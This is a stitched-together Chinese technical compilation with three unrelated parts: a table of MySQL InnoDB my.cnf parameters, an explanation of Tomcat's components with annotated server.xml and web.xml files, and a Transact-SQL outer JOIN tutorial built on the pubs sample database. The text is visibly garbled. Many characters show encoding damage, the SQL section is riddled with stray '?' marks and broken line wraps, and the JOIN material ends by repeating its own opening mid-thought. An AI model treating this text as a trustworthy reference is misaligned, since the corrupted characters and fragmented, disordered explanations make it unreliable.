注意:在 my.cnf 文件中有些參數(shù)是為了設(shè)置數(shù)字的,它們的設(shè)置格式為:set-variable = innodb... = 123 ,而其它(字符串和邏輯型)的采用另一設(shè)置格式:innodb_... = ... . 各設(shè)置參數(shù)的含義如下: innodb_data_home_dir | 這是InnoDB表的目錄共用設(shè)置。如果沒有在 my.cnf 進(jìn)行設(shè)置,InnoDB 將使用MySQL的 datadir 目錄為缺省目錄。如果設(shè)定一個空字串,可以在 innodb_data_file_path 中設(shè)定絕對路徑。 | innodb_data_file_path | 單獨(dú)指定數(shù)據(jù)文件的路徑與大小。數(shù)據(jù)文件的完整路徑由 innodb_data_home_dir 與這里所設(shè)定值的組合。 文件大小以 MB 單位指定。因此在文件大小指定后必有“M”。 InnoDB 也支持縮寫“G”, 1G = 1024M。從 3.23.44 開始,在那些支持大文件的操作系統(tǒng)上可以設(shè)置數(shù)據(jù)文件大小大于 4 GB。而在另一些操作系統(tǒng)上數(shù)據(jù)文件必須小于 2 GB。數(shù)據(jù)文件大小總和至少要達(dá)到 10 MB。在 MySQL-3.23 中這個參數(shù)必須在 my.cnf 中明確指定。在 MySQL-4.0.2 以及更新版本中則不需如此,系統(tǒng)會默認(rèn)在 MySQL 的 datadir 目錄下創(chuàng)建一個 16 MB 自擴(kuò)充(auto-extending)的數(shù)據(jù)文件 ibdata1。你同樣可以使用一個 原生磁盤分區(qū)(RAW raw disk partitions(raw devices)) 作為數(shù)據(jù)文件, 如何在 my.cnf 中詳細(xì)指定它們請查看第 12.1 節(jié)。 | innodb_mirrored_log_groups | 為了保護(hù)數(shù)據(jù)而設(shè)置的日志文件組的拷貝數(shù)目,默認(rèn)設(shè)置為 1。在 my.cnf 中以數(shù)字格式設(shè)置。 | innodb_log_group_home_dir | InnoDB 日志文件的路徑。必須與 innodb_log_arch_dir 設(shè)置相同值。 如果沒有明確指定將默認(rèn)在 MySQL 的 datadir 目錄下建立兩個 5 MB 大小的 ib_logfile... 文件。 | innodb_log_files_in_group | 日志組中的日志文件數(shù)目。InnoDB 以環(huán)型方式(circular fashion)寫入文件。數(shù)值 3 被推薦使用。在 my.cnf 中以數(shù)字格式設(shè)置。 | innodb_log_file_size | 日志組中的每個日志文件的大小(單位 MB)。如果 n 是日志組中日志文件的數(shù)目,那么理想的數(shù)值為 1M 至下面設(shè)置的緩沖池(buffer pool)大小的 1/n。較大的值,可以減少刷新緩沖池的次數(shù),從而減少磁盤 I/O。但是大的日志文件意味著在崩潰時需要更長的時間來恢復(fù)數(shù)據(jù)。 日志文件總和必須小于 2 GB,3.23.55 和 4.0.9 以上為小于 4 GB。在 my.cnf 中以數(shù)字格式設(shè)置。 | innodb_log_buffer_size | InnoDB 將日志寫入日志磁盤文件前的緩沖大小。理想值為 1M 至 8M。大的日志緩沖允許事務(wù)運(yùn)行時不需要將日志保存入磁盤而只到事務(wù)被提交(commit)。 因此,如果有大的事務(wù)處理,設(shè)置大的日志緩沖可以減少磁盤I/O。 在 my.cnf 中以數(shù)字格式設(shè)置。 | innodb_flush_log_at_trx_commit | 通常設(shè)置為 1,意味著在事務(wù)提交前日志已被寫入磁盤, 事務(wù)可以運(yùn)行更長以及服務(wù)崩潰后的修復(fù)能力。如果你愿意減弱這個安全,或你運(yùn)行的是比較小的事務(wù)處理,可以將它設(shè)置為 0 ,以減少寫日志文件的磁盤 I/O。這個選項默認(rèn)設(shè)置為 0。 | innodb_log_arch_dir | The directory where fully written log files would be archived if we used log archiving. 這里設(shè)置的參數(shù)必須與 innodb_log_group_home_dir 相同。 從 4.0.6 開始,可以忽略這個參數(shù)。 | innodb_log_archive | 這個值通常設(shè)為 0。 既然從備份中恢復(fù)(recovery)適合于 MySQL 使用它自己的 log files,因而通常不再需要 archive InnoDB log files。這個選項默認(rèn)設(shè)置為 0。 | innodb_buffer_pool_size | InnoDB 用來高速緩沖數(shù)據(jù)和索引內(nèi)存緩沖大小。 更大的設(shè)置可以使訪問數(shù)據(jù)時減少磁盤 I/O。在一個專用的數(shù)據(jù)庫服務(wù)器上可以將它設(shè)置為物理內(nèi)存的 80 %。 不要將它設(shè)置太大,因為物理內(nèi)存的使用競爭可能會影響操作系統(tǒng)的頁面調(diào)用。在 my.cnf 中以數(shù)字格式設(shè)置。 | innodb_additional_mem_pool_size | InnoDB 用來存儲數(shù)據(jù)字典(data dictionary)信息和其它內(nèi)部數(shù)據(jù)結(jié)構(gòu)(internal data structures)的存儲器組合(memory pool)大小。理想的值為 2M,如果有更多的表你就需要在這里重新分配。如果 InnoDB 用盡這個池中的所有內(nèi)存,它將從操作系統(tǒng)中分配內(nèi)存,并將錯誤信息寫入 MySQL 的錯誤日志中。在 my.cnf 中以數(shù)字格式設(shè)置。 | innodb_file_io_threads | InnoDB 中的文件 I/O 線程。 通常設(shè)置為 4,但是在 Windows 下可以設(shè)定一個更大的值以提高磁盤 I/O。在 my.cnf 中以數(shù)字格式設(shè)置。 | innodb_lock_wait_timeout | 在回滾(rooled back)之前,InnoDB 事務(wù)將等待超時的時間(單位 秒)。InnoDB 會自動檢查自身在鎖定表與事務(wù)回滾時的事務(wù)死鎖。如果使用 LOCK TABLES 命令,或在同一個事務(wù)中使用其它事務(wù)安全型表處理器(transaction safe table handlers than InnoDB),那么可能會發(fā)生一個 InnoDB 無法注意到的死鎖。在這種情況下超時將用來解決這個問題。這個參數(shù)的默認(rèn)值為 50 秒。在 my.cnf 中以數(shù)字格式設(shè)置。 | innodb_flush_method | 這個參數(shù)僅僅與 Unix 相關(guān)。這個參數(shù)默認(rèn)值為 fdatasync 。 另一個設(shè)置項為 O_DSYNC 。這僅僅影響日志文件的轉(zhuǎn)儲,在 Unix 下以 fsync 轉(zhuǎn)儲數(shù)據(jù)。InnoDB 版本從 3.23.40b 開始,在 Unix 下指定 fdatasync 為使用 fsync 方式、指定 O_DSYNC 為使用 O_SYNC 方式。由于這在某些 Unix 環(huán)境下還有些問題所以在 'data' versions 并沒有被使用。 | innodb_force_recovery | 警告:此參數(shù)只能在你希望從一個被損壞的數(shù)據(jù)庫中轉(zhuǎn)儲(dump)數(shù)據(jù)的緊急情況下使用! 可能設(shè)置的值范圍為 1 - 6。查看下面的章節(jié) 'Forcing recovery' 以了解這個參數(shù)的具體含義。參數(shù)設(shè)置大于 0 的值代表著 InnoDB 防止用戶修改數(shù)據(jù)的安全度。從 3.23.44 開始,這個參數(shù)可用。在 my.cnf 中以數(shù)字格式設(shè)置。 | innodb_fast_shutdown | InnoDB 缺少在關(guān)閉之前清空插入緩沖。這個操作可能需要幾分鐘,在極端的情況下可以需要幾個小時。如果這個參數(shù)據(jù)設(shè)置為 1 ,InnoDB 將跳過這個過程而直接關(guān)閉。從 3.23.44 和 4.0.1 開始,此參數(shù)可用。從 3.23.50 開始,此參數(shù)的默認(rèn)值為 1。 | innodb_thread_concurrency | InnoDB 會試圖將 InnoDB 服務(wù)的使用的操作系統(tǒng)進(jìn)程小于或等于這里所設(shè)定的數(shù)值。此參數(shù)默認(rèn)值為 8。如果計算機(jī)系統(tǒng)性能較低或 innodb_monitor 顯示有很多線程等侍信號,應(yīng)該將這個值設(shè)小一點(diǎn)。如果你的計算機(jī)系統(tǒng)有很我的處理器與磁盤系統(tǒng),則可以將這個值設(shè)高一點(diǎn)以充分利用你的系統(tǒng)資源。建議設(shè)值為處理器數(shù)目+ 磁盤數(shù)目。 從 3.23.44 和 4.0.1 開始,此參數(shù)可用。在 my.cnf 中以數(shù)字格式設(shè)置。 |
|
1 - Tomcat Server的組成部分
1.1 - Server
A Server element represents the entire Catalina servlet container.
(Singleton)
1.2 - Service
A Service element represents the combination of one or more Connector
components that share a single
Engine
Service是這樣一個集合:它由一個或者多個Connector組成,以及一個Engine,負(fù)責(zé)處理所有Connector所獲得的客戶請求
1.3 - Connector
一個Connector將在某個指定端口上偵聽客戶請求,并將獲得的請求交給Engine來處理,從Engine處獲得回應(yīng)并返回客戶
TOMCAT有兩個典型的Connector,一個直接偵聽來自browser的http請求,一個偵聽來自其它WebServer的請求
Coyote
Http/1.1 Connector 在端口8080處偵聽來自客戶browser的http請求
Coyote JK2 Connector
在端口8009處偵聽來自其它WebServer(Apache)的servlet/jsp代理請求
1.4 - Engine
The Engine element represents the entire request processing machinery
associated with a particular Service
It receives and processes all requests
from one or more Connectors
and returns the completed response to the
Connector for ultimate transmission back to the
client
Engine下可以配置多個虛擬主機(jī)Virtual
Host,每個虛擬主機(jī)都有一個域名
當(dāng)Engine獲得一個請求時,它把該請求匹配到某個Host上,然后把該請求交給該Host來處理
Engine有一個默認(rèn)虛擬主機(jī),當(dāng)請求無法匹配到任何一個Host上的時候,將交給該默認(rèn)Host來處理
1.5 - Host
代表一個Virtual Host,虛擬主機(jī),每個虛擬主機(jī)和某個網(wǎng)絡(luò)域名Domain
Name相匹配
每個虛擬主機(jī)下都可以部署(deploy)一個或者多個Web App,每個Web App對應(yīng)于一個Context,有一個Context
path
當(dāng)Host獲得一個請求時,將把該請求匹配到某個Context上,然后把該請求交給該Context來處理
匹配的方法是“最長匹配”,所以一個path==""的Context將成為該Host的默認(rèn)Context
所有無法和其它Context的路徑名匹配的請求都將最終和該默認(rèn)Context匹配
1.6 - Context
一個Context對應(yīng)于一個Web Application,一個Web
Application由一個或者多個Servlet組成
Context在創(chuàng)建的時候?qū)⒏鶕?jù)配置文件$CATALINA_HOME/conf/web.xml和$WEBAPP_HOME/WEB-INF/web.xml載入Servlet類
當(dāng)Context獲得請求時,將在自己的映射表(mapping
table)中尋找相匹配的Servlet類
如果找到,則執(zhí)行該類,獲得請求的回應(yīng),并返回
2 - Tomcat Server的結(jié)構(gòu)圖
3 - 配置文件$CATALINA_HOME/conf/server.xml的說明
該文件描述了如何啟動Tomcat Server
<!----------------------------------------------------------------------------------------------->
<!-- 啟動Server
在端口8005處等待關(guān)閉命令
如果接受到"SHUTDOWN"字符串則關(guān)閉服務(wù)器
-->
<Server port="8005" shutdown="SHUTDOWN" debug="0">
<!-- Listener ???
目前沒有看到這里
-->
<Listener className="org.apache.catalina.mbeans.ServerLifecycleListener" debug="0"/>
<Listener className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener" debug="0"/>
<!-- Global JNDI resources ???
目前沒有看到這里,先略去
-->
<GlobalNamingResources>
... ... ... ...
</GlobalNamingResources>
<!-- Tomcat的Standalone Service
Service是一組Connector的集合
它們共用一個Engine來處理所有Connector收到的請求
-->
<Service name="Tomcat-Standalone">
<!-- Coyote HTTP/1.1 Connector
className : 該Connector的實現(xiàn)類是org.apache.coyote.tomcat4.CoyoteConnector
port : 在端口號8080處偵聽來自客戶browser的HTTP1.1請求
minProcessors : 該Connector先創(chuàng)建5個線程等待客戶請求,每個請求由一個線程負(fù)責(zé)
maxProcessors : 當(dāng)現(xiàn)有的線程不夠服務(wù)客戶請求時,若線程總數(shù)不足75個,則創(chuàng)建新線程來處理請求
acceptCount : 當(dāng)現(xiàn)有線程已經(jīng)達(dá)到最大數(shù)75時,為客戶請求排隊
當(dāng)隊列中請求數(shù)超過100時,后來的請求返回Connection refused錯誤
redirectport : 當(dāng)客戶請求是https時,把該請求轉(zhuǎn)發(fā)到端口8443去
其它屬性略
-->
<Connector className="org.apache.coyote.tomcat4.CoyoteConnector"
port="8080"
minProcessors="5" maxProcessors="75" acceptCount="100"
enableLookups="true"
redirectPort="8443"
debug="0"
connectionTimeout="20000"
useURIValidationHack="false"
disableUploadTimeout="true" />
<!-- Engine用來處理Connector收到的Http請求
它將匹配請求和自己的虛擬主機(jī),并把請求轉(zhuǎn)交給對應(yīng)的Host來處理
默認(rèn)虛擬主機(jī)是localhost
-->
<Engine name="Standalone" defaultHost="localhost" debug="0">
<!-- 日志類,目前沒有看到,略去先 -->
<Logger className="org.apache.catalina.logger.FileLogger" .../>
<!-- Realm,目前沒有看到,略去先 -->
<Realm className="org.apache.catalina.realm.UserDatabaseRealm" .../>
<!-- 虛擬主機(jī)localhost
appBase : 該虛擬主機(jī)的根目錄是webapps/
它將匹配請求和自己的Context的路徑,并把請求轉(zhuǎn)交給對應(yīng)的Context來處理
-->
<Host name="localhost" debug="0" appBase="webapps" unpackWARs="true" autoDeploy="true">
<!-- 日志類,目前沒有看到,略去先 -->
<Logger className="org.apache.catalina.logger.FileLogger" .../>
<!-- Context,對應(yīng)于一個Web App
path : 該Context的路徑名是"",故該Context是該Host的默認(rèn)Context
docBase : 該Context的根目錄是webapps/mycontext/
-->
<Context path="" docBase="mycontext" debug="0"/>
<!-- 另外一個Context,路徑名是/wsota -->
<Context path="/wsota" docBase="wsotaProject" debug="0"/>
</Host>
</Engine>
</Service>
</Server>
<!----------------------------------------------------------------------------------------------->
4 - Context的部署配置文件web.xml的說明
一個Context對應(yīng)于一個Web App,每個Web App是由一個或者多個servlet組成的
當(dāng)一個Web
App被初始化的時候,它將用自己的ClassLoader對象載入“部署配置文件web.xml”中定義的每個servlet類
它首先載入在$CATALINA_HOME/conf/web.xml中部署的servlet類
然后載入在自己的Web
App根目錄下的WEB-INF/web.xml中部署的servlet類
web.xml文件有兩部分:servlet類定義和servlet映射定義
每個被載入的servlet類都有一個名字,且被填入該Context的映射表(mapping
table)中,和某種URL PATTERN對應(yīng)
當(dāng)該Context獲得請求時,將查詢mapping
table,找到被請求的servlet,并執(zhí)行以獲得請求回應(yīng)
分析一下所有的Context共享的web.xml文件,在其中定義的servlet被所有的Web App載入
<!----------------------------------------------------------------------------------------------->
<web-app>
<!-- 概述:
該文件是所有的WEB APP共用的部署配置文件,
每當(dāng)一個WEB APP被DEPLOY,該文件都將先被處理,然后才是WEB APP自己的/WEB-INF/web.xml
-->
<!-- +-------------------------+ -->
<!-- | servlet類定義部分 | -->
<!-- +-------------------------+ -->
<!-- DefaultServlet
當(dāng)用戶的HTTP請求無法匹配任何一個servlet的時候,該servlet被執(zhí)行
URL PATTERN MAPPING : /
-->
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>
org.apache.catalina.servlets.DefaultServlet
</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>true</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<!-- InvokerServlet
處理一個WEB APP中的匿名servlet
當(dāng)一個servlet被編寫并編譯放入/WEB-INF/classes/中,卻沒有在/WEB-INF/web.xml中定義的時候
該servlet被調(diào)用,把匿名servlet映射成/servlet/ClassName的形式
URL PATTERN MAPPING : /servlet/*
-->
<servlet>
<servlet-name>invoker</servlet-name>
<servlet-class>
org.apache.catalina.servlets.InvokerServlet
</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<load-on-startup>2</load-on-startup>
</servlet>
<!-- JspServlet
當(dāng)請求的是一個JSP頁面的時候(*.jsp)該servlet被調(diào)用
它是一個JSP編譯器,將請求的JSP頁面編譯成為servlet再執(zhí)行
URL PATTERN MAPPING : *.jsp
-->
<servlet>
<servlet-name>jsp</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
<init-param>
<param-name>logVerbosityLevel</param-name>
<param-value>WARNING</param-value>
</init-param>
<load-on-startup>3</load-on-startup>
</servlet>
<!-- +---------------------------+ -->
<!-- | servlet映射定義部分 | -->
<!-- +---------------------------+ -->
<servlet-mapping>
<servlet-name>default</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>invoker</servlet-name>
<url-pattern>/servlet/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
</servlet-mapping>
<!-- +------------------------+ -->
<!-- | 其它部分,略去先 | -->
<!-- +------------------------+ -->
... ... ... ...
</web-app>
<!----------------------------------------------------------------------------------------------->
5 - Tomcat Server處理一個http請求的過程
假設(shè)來自客戶的請求為:
http://localhost:8080/wsota/wsota_index.jsp
1)
請求被發(fā)送到本機(jī)端口8080,被在那里偵聽的Coyote HTTP/1.1 Connector獲得
2)
Connector把該請求交給它所在的Service的Engine來處理,并等待來自Engine的回應(yīng)
3)
Engine獲得請求localhost/wsota/wsota_index.jsp,匹配它所擁有的所有虛擬主機(jī)Host
4)
Engine匹配到名為localhost的Host(即使匹配不到也把請求交給該Host處理,因為該Host被定義為該Engine的默認(rèn)主機(jī))
5)
localhost Host獲得請求/wsota/wsota_index.jsp,匹配它所擁有的所有Context
6)
Host匹配到路徑為/wsota的Context(如果匹配不到就把該請求交給路徑名為""的Context去處理)
7)
path="/wsota"的Context獲得請求/wsota_index.jsp,在它的mapping table中尋找對應(yīng)的servlet
8)
Context匹配到URL PATTERN為*.jsp的servlet,對應(yīng)于JspServlet類
9)
構(gòu)造HttpServletRequest對象和HttpServletResponse對象,作為參數(shù)調(diào)用JspServlet的doGet或doPost方法
10)Context把執(zhí)行完了之后的HttpServletResponse對象返回給Host
11)Host把HttpServletResponse對象返回給Engine
12)Engine把HttpServletResponse對象返回給Connector
13)Connector把HttpServletResponse對象返回給客戶browser
SQL--JOIN之完全用法? ???
? ?? ?
? ??
???
? ?? ???
? ?
? ?
??外聯(lián)接。外聯(lián)接可以是左向外聯(lián)接、右向外聯(lián)接或完整外部聯(lián)接。? ???
??在?
?FROM? ?子句中指定外聯(lián)接時,可以由下列幾組關(guān)鍵字中的一組指定:? ?
? ?
??LEFT? ?JOIN? ?或? ?LEFT?
?OUTER? ?JOIN。? ???
??左向外聯(lián)接的結(jié)果集包括? ?LEFT? ?OUTER?
?子句中指定的左表的所有行,而不僅僅是聯(lián)接列所匹配的行。如果左表的某行在右表中沒有匹配行,則在相關(guān)聯(lián)的結(jié)果集行中右表的所有選擇列表列均為空值。? ?
?
?
??RIGHT? ?JOIN? ?或? ?RIGHT? ?OUTER? ?JOIN。?
???
??右向外聯(lián)接是左向外聯(lián)接的反向聯(lián)接。將返回右表的所有行。如果右表的某行在左表中沒有匹配行,則將為左表返回空值。? ?
? ?
??FULL? ?JOIN? ?或? ?FULL? ?OUTER? ?JOIN。?
???
??完整外部聯(lián)接返回左表和右表中的所有行。當(dāng)某行在另一個表中沒有匹配行時,則另一個表的選擇列表列包含空值。如果表之間有匹配行,則整個結(jié)果集行包含基表的
數(shù)據(jù)值。?
?
? ?
??僅當(dāng)至少有一個同屬于兩表的行符合聯(lián)接條件時,內(nèi)聯(lián)接才返回行。內(nèi)聯(lián)接消除與另一個表中的任何行不匹配的行。而外聯(lián)接會返回?
?FROM? ?子句中提到的至少一個表或視圖的所有行,只要這些行符合任何? ?WHERE? ?或? ?HAVING?
?搜索條件。將檢索通過左向外聯(lián)接引用的左表的所有行,以及通過右向外聯(lián)接引用的右表的所有行。完整外部聯(lián)接中兩個表的所有行都將返回。? ?
? ?
??Microsoft?? ?SQL? ?Server?? ?2000? ?對在? ?FROM? ?子句中指定的外聯(lián)接使用以下? ?SQL-92?
?關(guān)鍵字:? ???
? ?
??LEFT? ?OUTER? ?JOIN? ?或? ?LEFT? ?JOIN? ?
? ?
? ?
??RIGHT? ?OUTER? ?JOIN? ?或? ?RIGHT? ?JOIN? ?
? ?
? ?
??FULL?
?OUTER? ?JOIN? ?或? ?FULL? ?JOIN? ???
??SQL? ?Server? ?支持? ?SQL-92?
?外聯(lián)接語法,以及在? ?WHERE? ?子句中使用? ?*=? ?和? ?=*? ?運(yùn)算符指定外聯(lián)接的舊式語法。由于? ?SQL-92?
?語法不容易產(chǎn)生歧義,而舊式? ?Transact-SQL? ?外聯(lián)接有時會產(chǎn)生歧義,因此建議使用? ?SQL-92? ?語法。? ?
? ?
??使用左向外聯(lián)接? ?
??假設(shè)在? ?city? ?列上聯(lián)接? ?authors? ?表和? ?publishers?
?表。結(jié)果只顯示在出版商所在城市居住的作者(本例中為? ?Abraham? ?Bennet? ?和? ?Cheryl? ?Carson)。? ?
? ?
??若要在結(jié)果中包括所有的作者,而不管出版商是否住在同一個城市,請使用? ?SQL-92? ?左向外聯(lián)接。下面是? ?Transact-SQL?
?左向外聯(lián)接的查詢和結(jié)果:? ?
? ?
??USE? ?pubs? ?
??SELECT? ?a.au_fname,?
?a.au_lname,? ?p.pub_name? ?
??FROM? ?authors? ?a? ?LEFT? ?OUTER? ?JOIN?
?publishers? ?p? ?
??ON? ?a.city? ?=? ?p.city? ?
??ORDER? ?BY?
?p.pub_name? ?ASC,? ?a.au_lname? ?ASC,? ?a.au_fname? ?ASC? ?
? ?
??下面是結(jié)果集:? ?
? ?
??au_fname? ?au_lname? ?pub_name?
???
??--------------------? ?------------------------------?
?-----------------? ???
??Reginald? ?Blotchet-Halls? ?NULL? ?
??Michel?
?DeFrance? ?NULL? ?
??Innes? ?del? ?Castillo? ?NULL? ?
??Ann? ?Dull?
?NULL? ?
??Marjorie? ?Green? ?NULL? ?
??Morningstar? ?Greene? ?NULL?
?
??Burt? ?Gringlesby? ?NULL? ?
??Sheryl? ?Hunter? ?NULL? ?
??Livia?
?Karsen? ?NULL? ?
??Charlene? ?Locksley? ?NULL? ?
??Stearns? ?MacFeather?
?NULL? ?
??Heather? ?McBadden? ?NULL? ?
??Michael? ?O'Leary? ?NULL?
?
??Sylvia? ?Panteley? ?NULL? ?
??Albert? ?Ringer? ?NULL? ?
??Anne?
?Ringer? ?NULL? ?
??Meander? ?Smith? ?NULL? ?
??Dean? ?Straight? ?NULL?
?
??Dirk? ?Stringer? ?NULL? ?
??Johnson? ?White? ?NULL? ?
??Akiko?
?Yokomoto? ?NULL? ?
??Abraham? ?Bennet? ?Algodata? ?Infosystems?
?
??Cheryl? ?Carson? ?Algodata? ?Infosystems? ?
? ?
??(23? ?row(s)?
?affected)? ?
? ?
??不管是否與? ?publishers? ?表中的? ?city? ?列匹配,LEFT? ?OUTER?
?JOIN? ?均會在結(jié)果中包含? ?authors? ?表的所有行。注意:結(jié)果中所列的大多數(shù)作者都沒有相匹配的數(shù)據(jù),因此,這些行的? ?pub_name?
?列包含空值。? ?
? ?
??使用右向外聯(lián)接? ?
??假設(shè)在? ?city? ?列上聯(lián)接? ?authors? ?表和?
?publishers? ?表。結(jié)果只顯示在出版商所在城市居住的作者(本例中為? ?Abraham? ?Bennet? ?和? ?Cheryl?
?Carson)。SQL-92? ?右向外聯(lián)接運(yùn)算符? ?RIGHT? ?OUTER? ?JOIN?
?指明:不管第一個表中是否有匹配的數(shù)據(jù),結(jié)果將包含第二個表中的所有行。? ?
? ?
??若要在結(jié)果中包括所有的出版商,而不管城市中是否還有出版商居住,請使用? ?SQL-92? ?右向外聯(lián)接。下面是? ?Transact-SQL?
?右向外聯(lián)接的查詢和結(jié)果:? ?
? ?
??USE? ?pubs? ?
??SELECT? ?a.au_fname,?
?a.au_lname,? ?p.pub_name? ?
??FROM? ?authors? ?AS? ?a? ?RIGHT? ?OUTER?
?JOIN? ?publishers? ?AS? ?p? ?
??ON? ?a.city? ?=? ?p.city? ?
??ORDER? ?BY?
?p.pub_name? ?ASC,? ?a.au_lname? ?ASC,? ?a.au_fname? ?ASC? ?
? ?
??下面是結(jié)果集:? ?
? ?
??au_fname? ?au_lname? ?pub_name?
???
??--------------------? ?------------------------? ?--------------------?
???
??Abraham? ?Bennet? ?Algodata? ?Infosystems? ?
??Cheryl? ?Carson?
?Algodata? ?Infosystems? ?
??NULL? ?NULL? ?Binnet? ?&? ?Hardley?
?
??NULL? ?NULL? ?Five? ?Lakes? ?Publishing? ?
??NULL? ?NULL? ?GGG&G?
?
??NULL? ?NULL? ?Lucerne? ?Publishing? ?
??NULL? ?NULL? ?New? ?Moon?
?Books? ?
??NULL? ?NULL? ?Ramona? ?Publishers? ?
??NULL? ?NULL? ?Scootney?
?Books? ?
? ?
??(9? ?row(s)? ?affected)? ?
? ?
??使用謂詞(如將聯(lián)接與常量比較)可以進(jìn)一步限制外聯(lián)接。下例包含相同的右向外聯(lián)接,但消除銷售量低于? ?50? ?本的書籍的書名:? ?
? ?
??USE? ?pubs? ?
??SELECT? ?s.stor_id,? ?s.qty,? ?t.title? ?
??FROM?
?sales? ?s? ?RIGHT? ?OUTER? ?JOIN? ?titles? ?t? ?
??ON? ?s.title_id? ?=?
?t.title_id? ?
??AND? ?s.qty? ?>? ?50? ?
??ORDER? ?BY? ?s.stor_id?
?ASC? ?
? ?
??下面是結(jié)果集:? ?
? ?
??stor_id? ?qty? ?title?
???
??-------? ?------?
?---------------------------------------------------------? ???
??(null)?
?(null)? ?But? ?Is? ?It? ?User? ?Friendly?? ???
??(null)? ?(null)? ?Computer?
?Phobic? ?AND? ?Non-Phobic? ?Individuals:? ?Behavior? ???
??Variations?
???
??(null)? ?(null)? ?Cooking? ?with? ?Computers:? ?Surreptitious?
?Balance? ?Sheets? ???
??(null)? ?(null)? ?Emotional? ?Security:? ?A? ?New?
?Algorithm? ???
??(null)? ?(null)? ?Fifty? ?Years? ?in? ?Buckingham? ?Palace?
?Kitchens? ???
??7066? ?75? ?Is? ?Anger? ?the? ?Enemy?? ???
??(null)?
?(null)? ?Life? ?Without? ?Fear? ???
??(null)? ?(null)? ?Net? ?Etiquette?
???
??(null)? ?(null)? ?Onions,? ?Leeks,? ?and? ?Garlic:? ?Cooking? ?Secrets?
?of? ?the? ???
??Mediterranean? ???
??(null)? ?(null)? ?Prolonged? ?Data?
?Deprivation:? ?Four? ?Case? ?Studies? ???
??(null)? ?(null)? ?Secrets? ?of?
?Silicon? ?Valley? ???
??(null)? ?(null)? ?Silicon? ?Valley? ?Gastronomic?
?Treats? ???
??(null)? ?(null)? ?Straight? ?Talk? ?About? ?Computers?
???
??(null)? ?(null)? ?Sushi,? ?Anyone?? ???
??(null)? ?(null)? ?The?
?Busy? ?Executive's? ?Database? ?Guide? ???
??(null)? ?(null)? ?The?
?Gourmet? ?Microwave? ???
??(null)? ?(null)? ?The? ?Psychology? ?of?
?Computer? ?Cooking? ???
??(null)? ?(null)? ?You? ?Can? ?Combat? ?Computer?
?Stress!? ???
? ?
??(18? ?row(s)? ?affected)? ?
? ?
??有關(guān)謂詞的更多信息,請參見? ?WHERE。? ???
? ?
??使用完整外部聯(lián)接?
?
??若要通過在聯(lián)接結(jié)果中包括不匹配的行保留不匹配信息,請使用完整外部聯(lián)接。Microsoft?? ?SQL? ?Server?? ?2000?
?提供完整外部聯(lián)接運(yùn)算符? ?FULL? ?OUTER? ?JOIN,不管另一個表是否有匹配的值,此運(yùn)算符都包括兩個表中的所有行。? ?
? ?
??假設(shè)在? ?city? ?列上聯(lián)接? ?authors? ?表和? ?publishers? ?表。結(jié)果只顯示在出版商所在城市居住的作者(本例中為?
?Abraham? ?Bennet? ?和? ?Cheryl? ?Carson)。SQL-92? ?FULL? ?OUTER? ?JOIN?
?運(yùn)算符指明:不管表中是否有匹配的數(shù)據(jù),結(jié)果將包括兩個表中的所有行。? ?
? ?
??若要在結(jié)果中包括所有作者和出版商,而不管城市中是否有出版商或者出版商是否住在同一個城市,請使用完整外部聯(lián)接。下面是? ?Transact-SQL?
?完整外部聯(lián)接的查詢和結(jié)果:? ?
? ?
??USE? ?pubs? ?
??SELECT? ?a.au_fname,?
?a.au_lname,? ?p.pub_name? ?
??FROM? ?authors? ?a? ?FULL? ?OUTER? ?JOIN?
?publishers? ?p? ?
??ON? ?a.city? ?=? ?p.city? ?
??ORDER? ?BY?
?p.pub_name? ?ASC,? ?a.au_lname? ?ASC,? ?a.au_fname? ?ASC? ?
? ?
??下面是結(jié)果集:? ?
? ?
??au_fname? ?au_lname? ?pub_name?
???
??--------------------? ?----------------------------?
?--------------------? ???
??Reginald? ?Blotchet-Halls? ?NULL? ?
??Michel?
?DeFrance? ?NULL? ?
??Innes? ?del? ?Castillo? ?NULL? ?
??Ann? ?Dull?
?NULL? ?
??Marjorie? ?Green? ?NULL? ?
??Morningstar? ?Greene? ?NULL?
?
??Burt? ?Gringlesby? ?NULL? ?
??Sheryl? ?Hunter? ?NULL? ?
??Livia?
?Karsen? ?NULL? ?
??Charlene? ?Locksley? ?NULL? ?
??Stearns? ?MacFeather?
?NULL? ?
??Heather? ?McBadden? ?NULL? ?
??Michael? ?O'Leary? ?NULL?
?
??Sylvia? ?Panteley? ?NULL? ?
??Albert? ?Ringer? ?NULL? ?
??Anne?
?Ringer? ?NULL? ?
??Meander? ?Smith? ?NULL? ?
??Dean? ?Straight? ?NULL?
?
??Dirk? ?Stringer? ?NULL? ?
??Johnson? ?White? ?NULL? ?
??Akiko?
?Yokomoto? ?NULL? ?
??Abraham? ?Bennet? ?Algodata? ?Infosystems?
?
??Cheryl? ?Carson? ?Algodata? ?Infosystems? ?
??NULL? ?NULL? ?Binnet?
?&? ?Hardley? ?
??NULL? ?NULL? ?Five? ?Lakes? ?Publishing? ?
??NULL?
?NULL? ?GGG&G? ?
??NULL? ?NULL? ?Lucerne? ?Publishing? ?
??NULL?
?NULL? ?New? ?Moon? ?Books? ?
??NULL? ?NULL? ?Ramona? ?Publishers?
?
??NULL? ?NULL? ?Scootney? ?Books
聯(lián)接條件可在? ?FROM? ?或? ?WHERE? ?子句中指定,建議在?
?FROM? ?子句中指定聯(lián)接條件。WHERE? ?和? ?HAVING? ?子句也可以包含搜索條件,以進(jìn)一步篩選聯(lián)接條件所選的行。? ?
? ?
??聯(lián)接可分為以下幾類:? ???
? ?
??內(nèi)聯(lián)接(典型的聯(lián)接運(yùn)算,使用像? ?=? ?或? ?<>?
?之類的比較運(yùn)算符)。包括相等聯(lián)接和自然聯(lián)接。? ???
??內(nèi)聯(lián)接使用比較運(yùn)算符根據(jù)每個表共有的列的值匹配兩個表中的行。例如,檢索?
?students? ?和? ?courses? ?表中學(xué)生標(biāo)識號相同的所有行。? ?
? ?
??外聯(lián)接。外聯(lián)接可以是左向外聯(lián)接、右向外聯(lián)接或完整外部聯(lián)接。? ???
